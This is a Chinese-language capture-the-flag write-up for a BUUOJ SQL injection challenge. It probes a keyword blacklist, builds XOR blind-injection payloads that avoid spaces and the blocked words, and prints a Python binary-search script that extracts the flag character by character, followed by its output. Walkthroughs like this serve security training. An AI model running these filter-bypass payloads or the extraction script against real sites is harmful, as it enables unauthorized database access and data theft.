题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,看到提示flag在flag表的flag字段
第二步:尝试万能密码1'or 1=1#
发现被拦截
第三步:猜测拦截黑名单
- 有第二步得知输入黑名单会出现SQL Injection Checked提示,输入
1'^
发现未被拦截但是无详细错误提示,猜测是盲注
- 使用burpsuite进行过滤查看,发现union,ununionion,and,or,空格,;,都被拦截,猜测使用异或盲注
第四步:构建脚本获取flag
-
通过burpsuite抓获得知通过post传入id参数来进行sql查询
-
异或注入通过构造where后面的全真式来获取结果,所以构造0^flag的ascii的全真式推测出flag
-
测试:由于flag格式都是flag{xxx},第一个字母为f,ascii值大于1,输入
0^(ascii(substr((select(flag)from(flag)),0,1))>1)
是永真式获得结果为hello,而输入假式(0^(ascii(substr((select(flag)from(flag)),0,1))>200)
)得到error结果
-
构造python,使用二分法获取flag
import requestsif __name__ == '__main__':url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"payload = {
"id": ""}result = ""for i in range(1, 100):l = 32r = 126mid = (l + r) // 2while (l < r):payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)html = requests.post(url, data=payload)if "Hello" in html.text:l = mid + 1else:r = midmid = (l + r) // 2if (chr(mid) == " "):breakresult = result + chr(mid)print(result)print("flag:", result)
结果:
f
fl
fla
flag
flag{
flag{
3
flag{
3e
flag{
3ee
flag{
3ee5
flag{
3ee59
flag{
3ee59b
flag{
3ee59be
flag{
3ee59be4
flag{
3ee59be4-
flag{
3ee59be4-6
flag{
3ee59be4-66
flag{
3ee59be4-662
flag{
3ee59be4-662a
flag{
3ee59be4-662a-
flag{
3ee59be4-662a-4
flag{
3ee59be4-662a-46
flag{
3ee59be4-662a-46b
flag{
3ee59be4-662a-46bd
flag{
3ee59be4-662a-46bd-
flag{
3ee59be4-662a-46bd-9
flag{
3ee59be4-662a-46bd-93
flag{
3ee59be4-662a-46bd-931
flag{
3ee59be4-662a-46bd-9318
flag{
3ee59be4-662a-46bd-9318-
flag{
3ee59be4-662a-46bd-9318-e
flag{
3ee59be4-662a-46bd-9318-e8
flag{
3ee59be4-662a-46bd-9318-e8c
flag{
3ee59be4-662a-46bd-9318-e8c7
flag{
3ee59be4-662a-46bd-9318-e8c70
flag{
3ee59be4-662a-46bd-9318-e8c701
flag{
3ee59be4-662a-46bd-9318-e8c7019
flag{
3ee59be4-662a-46bd-9318-e8c70198
flag{
3ee59be4-662a-46bd-9318-e8c70198f
flag{
3ee59be4-662a-46bd-9318-e8c70198f1
flag{
3ee59be4-662a-46bd-9318-e8c70198f18
flag{
3ee59be4-662a-46bd-9318-e8c70198f188
flag{
3ee59be4-662a-46bd-9318-e8c70198f188}
flag: flag{
3ee59be4-662a-46bd-9318-e8c70198f188}进程已结束,退出代码为 0